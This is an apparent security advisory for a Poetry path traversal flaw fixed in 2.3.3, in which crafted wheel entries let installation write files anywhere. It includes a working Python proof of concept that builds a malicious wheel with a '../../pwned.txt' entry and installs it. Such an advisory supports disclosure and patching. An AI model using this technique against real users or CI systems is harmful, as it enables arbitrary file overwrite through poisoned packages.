VDB
KO
MEDIUM 6.5

GHSA-2599-h6xx-hpxp

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

Details

### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

### Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

### POC

``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True)

files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / poetry
Introduced in: 1.4.0 Fixed in: 2.3.3
Fix pip install --upgrade 'poetry>=2.3.3'

References